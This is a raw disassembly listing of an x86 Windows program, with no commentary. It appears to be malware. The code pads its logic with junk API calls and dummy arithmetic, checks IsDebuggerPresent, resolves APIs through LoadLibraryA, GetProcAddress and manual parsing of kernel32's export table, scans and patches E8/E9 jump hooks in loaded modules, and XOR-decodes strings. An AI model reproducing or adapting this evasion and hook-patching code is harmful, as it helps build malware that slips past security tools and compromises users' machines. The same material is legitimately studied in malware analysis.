sub edx, 5
cmp byte ptr [eax+edx], 24h
jnz short loc_402744
loc_40271D: ; CODE XREF: sub_402563+1A5j
; sub_402563+1ADj
lea edi, [ebp+var_10+1]
lea esi, byte_43D105
mov ecx, 7
rep movsb
mov eax, [ebp+arg_4]
add eax, [ebp+arg_8]
lea edx, [eax+ebx+5]
sub edx, 4
add eax, 7
mov ds:1[edx], eax
loc_402744: ; CODE XREF: sub_402563+178j
; sub_402563+181j ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 2
jnz short loc_4027C9
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 2
jnz short loc_4027C9
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 2
jnz short loc_4027C9
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 2
jnz short loc_4027C9
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp eax, 0E8h
jz short loc_402783
cmp eax, 0E9h
jnz short loc_4027C9
loc_402783: ; CODE XREF: sub_402563+217j
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+arg_4]
or edx, 0FFFFFFFFh
mov ecx, [ebp+arg_8]
lea ecx, [eax+ecx+5]
add ecx, ebx
sub ecx, 4
sub edx, ecx
add edx, eax
mov eax, edx
sub eax, 4
mov [ebp+var_C], eax
call GetTickCount ; GetTickCount
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea eax, [eax+edx+5]
add eax, ebx
sub eax, 4
mov edx, [ebp+var_C]
mov ds:1[eax], edx
call GetCurrentProcessId ; GetCurrentProcessId
loc_4027C9: ; CODE XREF: sub_402563+1E8j
; sub_402563+1F1j ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 1
jnz short loc_402831
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 1
jnz short loc_402831
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 1
jnz short loc_402831
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 1
jnz short loc_402831
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp al, 3Dh
jz short loc_40280C
cmp eax, 0FEh
jz short loc_40280C
cmp eax, 0FFh
jnz short loc_402831
loc_40280C: ; CODE XREF: sub_402563+299j
; sub_402563+2A0j
call GetProcessHeap ; GetProcessHeap
call GetCurrentProcessId ; GetCurrentProcessId
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
lea edi, [edi+esi+5]
add edi, ebx
sub edi, 4
mov ds:1[edi], eax
call GetCurrentThreadId ; GetCurrentThreadId
loc_402831: ; CODE XREF: sub_402563+26Dj
; sub_402563+276j ...
inc ebx
cmp ebx, 400h
jb loc_40257E
loc_40283E: ; CODE XREF: sub_402563+60j
pop edi
pop esi
pop ebx
leave
retn
sub_402563 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402843 proc near ; CODE XREF: sub_402A48+7FFp
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_22 = byte ptr -22h
var_1F = byte ptr -1Fh
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov [ebp+var_11], 0A2h
sub [ebp+var_11], 8
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_4028A8
; ---------------------------------------------------------------------------
loc_402861: ; CODE XREF: sub_402843+70j
call GetTickCount ; GetTickCount
xor ebx, ebx
jmp short loc_402874
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_402843+37j
mov eax, [ebp+var_4]
cmp byte ptr [eax+ebx], 0
jnz short loc_40287C
inc ebx
loc_402874: ; CODE XREF: sub_402843+25j
cmp ebx, 3E8h
jbe short loc_40286A
loc_40287C: ; CODE XREF: sub_402843+2Ej
lea edi, [ebp+var_26]
lea esi, dword_43D10C
mov ecx, 7
rep movsb
cmp ebx, 3E8h
jnb short loc_4028BA
mov [ebp+var_1F], 0B8h
movzx eax, [ebp+var_1F]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1F], al
inc [ebp+var_4]
loc_4028A8: ; CODE XREF: sub_402843+1Cj
mov eax, [ebp+arg_4]
sub eax, 3E8h
cmp [ebp+var_4], eax
jbe short loc_402861
jmp loc_402A43
; ---------------------------------------------------------------------------
loc_4028BA: ; CODE XREF: sub_402843+4Fj
add [ebp+var_4], 0Ah
movzx edi, [ebp+arg_8]
shl edi, 2
mov ebx, lp[edi]
and [ebp+var_8], 0
loc_4028D0: ; CODE XREF: sub_402843+162j
mov eax, ebx
add eax, [ebp+var_8]
push eax
call sub_401D31
pop ecx
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+var_8]
movzx eax, byte ptr [ebx+eax]
cmp eax, 0E8h
jz short loc_40291F
cmp eax, 0E9h
jz short loc_40291F
call GetProcessHeap ; GetProcessHeap
and [ebp+var_C], 0
jmp short loc_402913
; ---------------------------------------------------------------------------
loc_402901: ; CODE XREF: sub_402843+D8j
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov cl, [ebx+eax]
mov [edx+eax], cl
inc [ebp+var_C]
loc_402913: ; CODE XREF: sub_402843+BCj
mov eax, dword_40E07C
cmp [ebp+var_C], eax
jb short loc_402901
jmp short loc_402999
; ---------------------------------------------------------------------------
loc_40291F: ; CODE XREF: sub_402843+AAj
; sub_402843+B1j
lea edi, [ebp+var_22]
lea esi, byte_43D113
mov ecx, 3
rep movsb
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
mov cl, [ebx+eax]
mov [edx+eax], cl
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+var_8]
lea eax, [ebx+eax+1]
mov eax, [eax]
mov [ebp+var_10], eax
mov [ebp+var_1F], 65h
movzx eax, [ebp+var_1F]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1F], al
mov eax, [ebp+var_8]
mov edx, [ebp+var_10]
mov ecx, [ebp+var_4]
add ecx, eax
sub edx, ecx
mov ecx, ebx
add ecx, eax
mov eax, edx
add eax, ecx
mov [ebp+var_1C], eax
lea edi, [ebp+var_27]
lea esi, word_43D116
mov ecx, 5
rep movsb
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [eax+edx+1]
mov edx, [ebp+var_1C]
mov [eax], edx
call GetCurrentThreadId ; GetCurrentThreadId
loc_402999: ; CODE XREF: sub_402843+DAj
mov eax, dword_40E07C
add [ebp+var_8], eax
cmp [ebp+var_8], 5
jb loc_4028D0
mov [ebp+var_18], 60F2h
sub [ebp+var_18], 502Ah
mov eax, [ebp+var_8]
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
add ecx, eax
sub edx, ecx
mov ecx, ebx
add ecx, eax
mov eax, edx
add eax, ecx
sub eax, 4
mov [ebp+var_10], eax
mov ax, word_43D11B
mov [ebp+var_1E], ax
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
mov byte ptr [edx+eax], 0E9h
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [eax+edx+1]
mov edx, [ebp+var_10]
mov [eax], edx
call GetCurrentProcessId ; GetCurrentProcessId
or eax, 0FFFFFFFFh
sub eax, ebx
mov edx, [ebp+var_4]
mov ecx, [ebp+var_8]
lea edx, [edx+ecx+5]
add eax, edx
sub eax, 4
mov [ebp+var_10], eax
mov byte ptr [ebx], 0E9h
mov ds:1[ebx], eax
call GetTickCount ; GetTickCount
push [ebp+var_8]
push [ebp+var_4]
movzx edi, [ebp+arg_8]
shl edi, 4
push off_43CE84[edi]
call sub_402563
add esp, 0Ch
loc_402A43: ; CODE XREF: sub_402843+72j
pop edi
pop esi
pop ebx
leave
retn
sub_402843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A48 proc near ; CODE XREF: sub_40AA24+5B8p
var_258A = word ptr -258Ah
var_2588 = dword ptr -2588h
var_2583 = byte ptr -2583h
var_2580 = dword ptr -2580h
var_21B8 = dword ptr -21B8h
var_21B4 = dword ptr -21B4h
var_21B0 = dword ptr -21B0h
var_21AC = dword ptr -21ACh
var_21A8 = dword ptr -21A8h
var_21A4 = dword ptr -21A4h
var_21A0 = dword ptr -21A0h
Buffer = _MEMORYSTATUS ptr -219Bh
var_207B = byte ptr -207Bh
var_2074 = dword ptr -2074h
var_206F = byte ptr -206Fh
var_2067 = byte ptr -2067h
var_2064 = dword ptr -2064h
var_2060 = dword ptr -2060h
var_205C = dword ptr -205Ch
var_2058 = dword ptr -2058h
var_2051 = byte ptr -2051h
var_2050 = dword ptr -2050h
var_204C = dword ptr -204Ch
var_2044 = dword ptr -2044h
var_2034 = dword ptr -2034h
hObject = dword ptr -2030h
lpAddress = dword ptr -202Ch
var_2025 = byte ptr -2025h
var_2024 = dword ptr -2024h
var_2020 = dword ptr -2020h
var_101C = dword ptr -101Ch
var_1015 = byte ptr -1015h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_C = dword ptr -0Ch
lp = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
mov eax, 258Ch
call sub_40C6B8
push ebx
push esi
push edi
call GetTickCount ; GetTickCount
call sub_402226
call GetLastError
mov [ebp+var_2025], 0
call GetVersion ; GetVersion
cmp eax, 80000000h
jnb short loc_402A81
mov [ebp+var_2025], 1
loc_402A81: ; CODE XREF: sub_402A48+30j
lea edi, [ebp+var_2067]
lea esi, byte_43D11D
mov ecx, 3
rep movsb
mov [ebp+var_1015], 0
loc_402A9B: ; CODE XREF: sub_402A48+F5j
cmp [ebp+var_2025], 0
jnz short loc_402AB8
movzx edi, [ebp+var_1015]
shl edi, 4
cmp byte_43CE88[edi], 1
jz short loc_402AD5
loc_402AB8: ; CODE XREF: sub_402A48+5Aj
cmp [ebp+var_2025], 0
jz short loc_402AD7
movzx edi, [ebp+var_1015]
shl edi, 4
cmp byte_43CE88[edi], 2
jnz short loc_402AD7
loc_402AD5: ; CODE XREF: sub_402A48+6Ej
jmp short loc_402B24
; ---------------------------------------------------------------------------
loc_402AD7: ; CODE XREF: sub_402A48+77j
; sub_402A48+8Bj
movzx edi, [ebp+var_1015]
mov esi, edi
shl esi, 4
push lpLibFileName[esi] ; lpLibFileName
call LoadLibraryA ; LoadLibraryA
mov hModule[edi*4], eax
movzx edi, [ebp+var_1015]
mov esi, edi
shl esi, 4
push off_43CE7C[esi] ; lpProcName
shl edi, 2
push hModule[edi] ; hModule
call GetProcAddress ; GetProcAddress
mov lp[edi], eax
call GetTickCount ; GetTickCount
loc_402B24: ; CODE XREF: sub_402A48:loc_402AD5j
add [ebp+var_1015], 1
movzx edi, [ebp+var_1015]
shl edi, 4
cmp off_43CE7C[edi], 0
jnz loc_402A9B
lea edi, [ebp+var_206F]
lea esi, dword_43D120
movsd
movsd
mov [ebp+var_1015], 0
loc_402B58: ; CODE XREF: sub_402A48+88Aj
movzx edi, [ebp+var_1015]
shl edi, 2
cmp lp[edi], 0
jz loc_4032B9
call IsDebuggerPresent ; IsDebuggerPresent
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, hModule[edi]
mov [ebp+var_2034], edi
cmp [ebp+var_2025], 0
jz loc_402E2B
mov [ebp+var_21A0], 51E2h
mov eax, 0D23h
mul [ebp+var_21A0]
mov [ebp+var_21A4], eax
mov [ebp+var_21A0], eax
call sub_4022BB
mov [ebp+hObject], eax
shr edi, 16h
shl edi, 16h
mov [ebp+lp], edi
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, edi
add eax, 400000h
mov [ebp+var_1014], eax
xor ebx, ebx
jmp short loc_402C3A
; ---------------------------------------------------------------------------
loc_402BE4: ; CODE XREF: sub_402A48+1FBj
mov [ebp+var_21A8], 0EAEh
mov eax, 1AEBh
mul [ebp+var_21A8]
mov [ebp+var_21AC], eax
mov [ebp+var_21A8], eax
mov eax, dword_43CFF8
add eax, 0FEFh
push eax ; ucb
push [ebp+lp] ; lp
call IsBadReadPtr ; IsBadReadPtr
mov [ebp+var_4], eax
call GetTickCount ; GetTickCount
xor [ebp+var_4], 1
shl [ebp+var_4], 2
mov edi, [ebp+var_4]
mov [ebp+ebx*4+var_1010], edi
inc ebx
add [ebp+lp], 1000h
loc_402C3A: ; CODE XREF: sub_402A48+19Aj
mov eax, [ebp+var_1014]
cmp [ebp+lp], eax
jbe short loc_402BE4
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GlobalMemoryStatus ; GlobalMemoryStatus
call GetCurrentThreadId ; GetCurrentThreadId
and [ebp+var_101C], 0
jmp loc_402D77
; ---------------------------------------------------------------------------
loc_402C62: ; CODE XREF: sub_402A48+340j
call GetVersion ; GetVersion
push 0FFFFh
push [ebp+var_101C]
push [ebp+hObject]
call sub_402445
add esp, 0Ch
mov [ebp+var_C], eax
mov byte ptr [ebp+var_21AC+3], 12h
movzx eax, byte ptr [ebp+var_21AC+3]
imul eax, 0C31h
mov byte ptr [ebp+var_21AC+3], al
cmp [ebp+var_C], 0
jnz short loc_402CAD
call GetCurrentThreadId ; GetCurrentThreadId
jmp loc_402D6D
; ---------------------------------------------------------------------------
loc_402CAD: ; CODE XREF: sub_402A48+259j
and [ebp+var_21A8], 0
loc_402CB4: ; CODE XREF: sub_402A48+86Cj
mov eax, [ebp+var_21A8]
mov [ebp+lp], eax
jmp loc_402D52
; ---------------------------------------------------------------------------
loc_402CC2: ; CODE XREF: sub_402A48+311j
mov [ebp+var_21B0], 690h
add [ebp+var_21B0], 2151h
xor ebx, ebx
loc_402CD8: ; CODE XREF: sub_402A48+2DFj
call GetTickCount ; GetTickCount
mov edi, [ebp+lp]
shr edi, 2
shl edi, 2
add edi, [ebp+var_C]
mov edi, [edi+ebx*4]
mov [ebp+var_4], edi
and [ebp+var_4], 4
mov edi, [ebp+ebx*4+var_1010]
cmp [ebp+var_4], edi
jnz short loc_402D29
mov [ebp+var_21B4], 6D86h
mov eax, 4E3Ch
mul [ebp+var_21B4]
mov [ebp+var_21B8], eax
mov [ebp+var_21B4], eax
inc ebx
cmp ebx, 400h
jb short loc_402CD8
loc_402D29: ; CODE XREF: sub_402A48+2B5j
cmp ebx, 3FFh
jb short loc_402D4B
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+lp]
add eax, 1000h
mov [ebp+var_21A8], eax
call GetCurrentProcessId ; GetCurrentProcessId
jmp short loc_402D9E
; ---------------------------------------------------------------------------
loc_402D4B: ; CODE XREF: sub_402A48+2E7j
add [ebp+lp], 1000h
loc_402D52: ; CODE XREF: sub_402A48+275j
cmp [ebp+lp], 0F000h
jbe loc_402CC2
push [ebp+var_C]
call sub_4024A8
pop ecx
call GetCurrentThreadId ; GetCurrentThreadId
loc_402D6D: ; CODE XREF: sub_402A48+260j
add [ebp+var_101C], 10000h
loc_402D77: ; CODE XREF: sub_402A48+215j
mov eax, [ebp+Buffer.dwTotalPhys]
sub eax, 0FFFFh
cmp [ebp+var_101C], eax
jbe loc_402C62
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
jmp loc_4032B9
; ---------------------------------------------------------------------------
loc_402D9E: ; CODE XREF: sub_402A48+301j
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, lp[edi]
mov [ebp+var_1014], edi
and [ebp+var_1014], 0
loc_402DBC: ; CODE XREF: sub_402A48+3E1j
call GetLastError
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+lp]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
mov esi, [esi+edi]
mov [ebp+edi+var_2020], esi
call GetCurrentProcessId ; GetCurrentProcessId
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+lp]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
add edi, esi
or byte ptr [edi], 2
mov byte ptr [ebp+var_21A8+3], 1Eh
movzx eax, byte ptr [ebp+var_21A8+3]
imul eax, 409Ah
mov byte ptr [ebp+var_21A8+3], al
inc [ebp+var_1014]
cmp [ebp+var_1014], 400h
jb short loc_402DBC
loc_402E2B: ; CODE XREF: sub_402A48+14Bj
cmp [ebp+var_2025], 0
jnz loc_402F0D
call GetVersion ; GetVersion
push offset aKernel32_dll ; "kernel32.dll"
call GetModuleHandleA ; GetModuleHandleA
mov [ebp+Buffer.dwTotalVirtual+3], eax
lea edi, [ebp+var_21A4+3]
lea esi, dword_43D128
mov ecx, 5
rep movsb
mov eax, [ebp+Buffer.dwTotalVirtual+3]
mov edx, eax
add edx, ds:3Ch[eax]
mov [ebp+Buffer.dwTotalPhys+3], edx
mov word ptr [ebp+Buffer.dwTotalVirtual+1], 4195h
movzx eax, word ptr [ebp+Buffer.dwTotalVirtual+1]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+Buffer.dwTotalVirtual+1], ax
mov eax, [ebp+Buffer.dwTotalVirtual+3]
mov edx, [ebp+Buffer.dwTotalPhys+3]
add edx, 78h
add eax, [edx]
mov [ebp-2194h], eax
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+Buffer.dwTotalVirtual+3]
mov edx, [ebp-2194h]
add edx, 1Ch
add eax, [edx]
mov [ebp+Buffer.dwLength+3], eax
mov eax, [ebp+Buffer.dwTotalVirtual+3]
mov edx, [ebp+Buffer.dwLength+3]
add eax, [edx]
mov [ebp-219Ch], eax
mov [ebp+Buffer.dwAvailPhys+3], 0F88h
add [ebp+Buffer.dwAvailPhys+3], 72CBh
mov [ebp+var_2074], eax
mov [ebp+Buffer.dwTotalPageFile+3], 200Bh
mov eax, [ebp+Buffer.dwTotalPageFile+3]
mov edx, eax
add edx, eax
mov [ebp+Buffer.dwTotalPageFile+3], edx
loc_402F0D: ; CODE XREF: sub_402A48+3EAj
push 1Ch
lea eax, [ebp+var_2050]
push eax
call RtlZeroMemory ; RtlZeroMemory
mov eax, [ebp+var_2034]
mov [ebp+lpAddress], eax
call GetVersion ; GetVersion
loc_402F2C: ; CODE XREF: sub_402A48+537j
; sub_402A48+57Ej
push 1Ch ; dwLength
lea eax, [ebp+var_2050]
push eax ; lpBuffer
push [ebp+lpAddress] ; lpAddress
call VirtualQuery ; VirtualQuery
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+var_2034]
cmp [ebp+var_204C], eax
jnz short loc_402FCB
lea edi, [ebp+var_207B]
lea esi, byte_43D12D
mov ecx, 7
rep movsb
mov eax, [ebp+var_2044]
mov [ebp+var_2060], eax
add [ebp+lpAddress], eax
cmp [ebp+var_2025], 0
jnz short loc_402F2C
mov [ebp+Buffer.dwTotalVirtual+3], 691Fh
mov eax, [ebp+Buffer.dwTotalVirtual+3]
mov edx, eax
add edx, eax
mov [ebp+Buffer.dwTotalVirtual+3], edx
push 20060000h
push 0
mov edi, [ebp+var_2060]
shr edi, 0Ch
push edi
mov edi, [ebp+var_2050]
shr edi, 0Ch
push edi
push 1000Dh
call [ebp+var_2074]
call GetCurrentThreadId ; GetCurrentThreadId
jmp loc_402F2C
; ---------------------------------------------------------------------------
loc_402FCB: ; CODE XREF: sub_402A48+509j
movzx edi, [ebp+var_1015]
shl edi, 2
mov esi, [ebp+lpAddress]
sub esi, [ebp+var_2034]
mov dword_4118A0[edi], esi
movzx edi, [ebp+var_1015]
shl edi, 2
mov edi, lp[edi]
mov [ebp+var_1014], edi
mov eax, dword_43CFF4 ; DATA XREF: .text:loc_4403D2r
; sub_4403F5+8Cw ...
loc_403004: ; DATA XREF: .text:0043F42Dr
; .text:loc_43F469r ...
add eax, 1000h
push eax ; ucb
push edi ; lp
call IsBadWritePtr ; IsBadWritePtr
loc_403010: ; DATA XREF: .text:0043F529o
; sub_4403F5+10o
mov [ebp+var_2064], eax
mov [ebp+var_2058], 78C1h
add [ebp+var_2058], 3550h
test eax, eax
jnz loc_403269
mov [ebp+var_205C], 1FC2h
add [ebp+var_205C], 61DDh
cmp [ebp+arg_0], 0
jz loc_403233
lea edi, [ebp+Buffer.dwTotalVirtual]
lea esi, byte_43D134
xor ecx, ecx
inc ecx
rep movsb
mov eax, [ebp+var_1014]
movzx eax, byte ptr [eax]
cmp eax, 0E9h
jz short loc_403085
call GetLastError
cmp [ebp+arg_0], 1
jz loc_403269
jmp loc_403233
; ---------------------------------------------------------------------------
loc_403085: ; CODE XREF: sub_402A48+627j
mov eax, [ebp+var_1014]
mov edx, ds:1[eax]
sub edx, 0FFFFFFFFh
lea eax, [edx+eax+4]
mov [ebp+var_2024], eax
mov [ebp+Buffer.dwTotalVirtual+3], 14DFh
mov eax, 61CEh
mul [ebp+Buffer.dwTotalVirtual+3]
mov [ebp+var_2588], eax
mov [ebp+Buffer.dwTotalVirtual+3], eax
mov byte ptr [ebp+Buffer.dwAvailVirtual+3], 0
loc_4030C7: ; CODE XREF: sub_402A48+71Cj
sub [ebp+var_2024], 5
mov eax, [ebp+var_2024]
mov [ebp+var_4], eax
loc_4030D7: ; CODE XREF: sub_402A48+6C8j
mov eax, [ebp+var_4]
mov edx, eax
dec edx
cmp byte ptr [edx], 0
jnz short loc_403108
mov edx, eax
sub edx, 2
cmp byte ptr [edx], 0
jnz short loc_403108
mov edx, eax
sub edx, 3
cmp byte ptr [edx], 0
jnz short loc_403108
mov edx, eax
sub edx, 4
cmp byte ptr [edx], 0
jnz short loc_403108
sub eax, 5
cmp byte ptr [eax], 0
jz short loc_403112
loc_403108: ; CODE XREF: sub_402A48+698j
; sub_402A48+6A2j ...
call GetVersion ; GetVersion
dec [ebp+var_4]
jmp short loc_4030D7
; ---------------------------------------------------------------------------
loc_403112: ; CODE XREF: sub_402A48+6BEj
movzx edi, byte ptr [ebp+Buffer.dwAvailVirtual+3]
shl edi, 2
mov esi, [ebp+var_4]
mov [ebp+edi+var_2580], esi
add byte ptr [ebp+Buffer.dwAvailVirtual+3], 1
movzx eax, byte ptr [esi]
cmp eax, 0E9h
jnz short loc_403169
mov [ebp+var_258A], 7AC6h
add [ebp+var_258A], 2581h
mov eax, esi
mov edx, ds:1[eax]
sub edx, 0FFFFFFFFh
lea eax, [edx+eax+4]
mov [ebp+var_2024], eax
call GetCurrentProcessId ; GetCurrentProcessId
jmp loc_4030C7
; ---------------------------------------------------------------------------
loc_403169: ; CODE XREF: sub_402A48+6EDj
mov ebx, [ebp+var_4]
jmp short loc_4031A0
; ---------------------------------------------------------------------------
loc_40316E: ; CODE XREF: sub_402A48+75Ej
mov [ebp+var_258A], 135Dh
movzx eax, [ebp+var_258A]
imul eax, 5BAAh
mov [ebp+var_258A], ax
mov eax, [ebp+var_1014]
add eax, ebx
sub eax, [ebp+var_4]
mov dl, [ebx]
mov [eax], dl
call GetCurrentProcessId ; GetCurrentProcessId
inc ebx
loc_4031A0: ; CODE XREF: sub_402A48+724j
cmp ebx, [ebp+var_2024]
jb short loc_40316E
loc_4031A8: ; CODE XREF: sub_402A48+7D0j
sub byte ptr [ebp+Buffer.dwAvailVirtual+3], 1
movzx edi, byte ptr [ebp+Buffer.dwAvailVirtual+3]
shl edi, 2
mov ebx, [ebp+edi+var_2580]
loc_4031C0: ; CODE XREF: sub_402A48+7C5j
mov byte ptr [ebx], 0
call GetTickCount ; GetTickCount
cmp byte ptr ds:1[ebx], 0
jnz short loc_4031FA
cmp byte ptr ds:2[ebx], 0
jnz short loc_4031FA
cmp byte ptr ds:3[ebx], 0
jnz short loc_4031FA
cmp byte ptr ds:4[ebx], 0
jnz short loc_4031FA
cmp byte ptr ds:5[ebx], 0
jz short loc_40320F
loc_4031FA: ; CODE XREF: sub_402A48+788j
; sub_402A48+792j ...
mov word ptr [ebp+Buffer.dwTotalVirtual+1], 7E10h
add word ptr [ebp+Buffer.dwTotalVirtual+1], 504Ch
inc ebx
jmp short loc_4031C0
; ---------------------------------------------------------------------------
loc_40320F: ; CODE XREF: sub_402A48+7B0j
movzx eax, byte ptr [ebp+Buffer.dwAvailVirtual+3]
or eax, eax
jg short loc_4031A8
cmp [ebp+arg_0], 1
jz short loc_403269
lea edi, [ebp+var_2583]
lea esi, byte_43D135
mov ecx, 3
rep movsb
loc_403233: ; CODE XREF: sub_402A48+602j
; sub_402A48+638j
movzx eax, [ebp+var_1015]
push eax
push [ebp+lpAddress]
push [ebp+var_2034]
call sub_402843
add esp, 0Ch
mov [ebp+var_2051], 0C0h
movzx eax, [ebp+var_2051]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2051], al
loc_403269: ; CODE XREF: sub_402A48+5E4j
; sub_402A48+632j ...
cmp [ebp+var_2025], 0
jz short loc_4032B9
call GetLastError
and [ebp+var_1014], 0
loc_40327E: ; CODE XREF: sub_402A48+865j
mov edi, [ebp+var_1014]
shl edi, 2
mov esi, [ebp+lp]
shr esi, 2
shl esi, 2
add esi, [ebp+var_C]
mov edx, [ebp+edi+var_2020]
mov [esi+edi], edx
inc [ebp+var_1014]
cmp [ebp+var_1014], 400h
jb short loc_40327E
call GetVersion ; GetVersion
jmp loc_402CB4
; ---------------------------------------------------------------------------
loc_4032B9: ; CODE XREF: sub_402A48+122j
; sub_402A48+351j ...
add [ebp+var_1015], 1
movzx edi, [ebp+var_1015]
shl edi, 4
cmp off_43CE7C[edi], 0
jnz loc_402B58
call GetCurrentThreadId ; GetCurrentThreadId
pop edi
pop esi
pop ebx
leave
retn
sub_402A48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4032E2(void *Src, size_t Size)
sub_4032E2 proc near ; CODE XREF: sub_40341E+37p
; sub_40349A+44p
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_43D140
lea eax, ds:41D8B0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_403322
; ---------------------------------------------------------------------------
loc_403308: ; CODE XREF: sub_4032E2+42j
mov eax, dword_43D140
add eax, edi
lea eax, ds:41D8B0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0AFh
mov [eax], dl
inc edi
loc_403322: ; CODE XREF: sub_4032E2+24j
cmp edi, esi
jl short loc_403308
mov eax, dword_43D140
add eax, esi
mov byte ptr dword_41D8B0[eax], 0
mov edi, dword_43D140
add dword_43D140, 3
mov eax, dword_43D140
add eax, 5
add eax, esi
mov dword_43D140, eax
cmp eax, 0DC9h
jle short loc_40335F
and dword_43D140, 0
loc_40335F: ; CODE XREF: sub_4032E2+74j
mov [ebp+var_4], 116h
lea eax, dword_41D8B0[edi]
pop edi
pop esi
leave
retn
sub_4032E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403370 proc near ; CODE XREF: sub_40341E+19p
; sub_40349A+33p
var_F = byte ptr -0Fh
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call GetVersion ; GetVersion
call GetTickCount ; GetTickCount
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_40338B: ; CODE XREF: sub_403370+20j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40338B
mov edi, eax
mov [ebp+var_6], di
mov ax, [ebp+var_6]
mov [ebp+var_2], ax
jmp short loc_4033C6
; ---------------------------------------------------------------------------
loc_4033A2: ; CODE XREF: sub_403370+5Cj
movzx eax, [ebp+var_2]
cmp byte ptr [ebx+eax], 5Ch
jnz short loc_4033C2
call IsDebuggerPresent ; IsDebuggerPresent
inc [ebp+var_2]
lea edi, [ebp+var_F]
lea esi, dword_43D144
movsd
movsd
jmp short loc_4033CE
; ---------------------------------------------------------------------------
loc_4033C2: ; CODE XREF: sub_403370+3Aj
dec [ebp+var_2]
loc_4033C6: ; CODE XREF: sub_403370+30j
movzx eax, [ebp+var_2]
or eax, eax
jg short loc_4033A2
loc_4033CE: ; CODE XREF: sub_403370+50j
mov ax, [ebp+var_2]
cmp ax, [ebp+var_6]
jnb short loc_40340B
mov [ebp+var_4], 0
jmp short loc_4033F9
; ---------------------------------------------------------------------------
loc_4033E0: ; CODE XREF: sub_403370+99j
movzx eax, [ebp+var_4]
mov edx, [ebp+arg_4]
movzx ecx, [ebp+var_2]
mov esi, eax
add esi, ecx
mov cl, [ebx+esi]
mov [edx+eax], cl
inc [ebp+var_4]
loc_4033F9: ; CODE XREF: sub_403370+6Ej
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jle short loc_4033E0
loc_40340B: ; CODE XREF: sub_403370+66j
lea edi, [ebp+var_7]
lea esi, byte_43D14C
xor ecx, ecx
inc ecx
rep movsb
pop edi
pop esi
pop ebx
leave
retn
sub_403370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40341E proc near ; CODE XREF: sub_403A5F+7Dp
; sub_403BE7+24Ep ...
var_10A = word ptr -10Ah
var_108 = word ptr -108h
String = byte ptr -106h
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+String]
push eax
push [ebp+arg_0]
call sub_403370
mov [ebp+var_108], 1417h
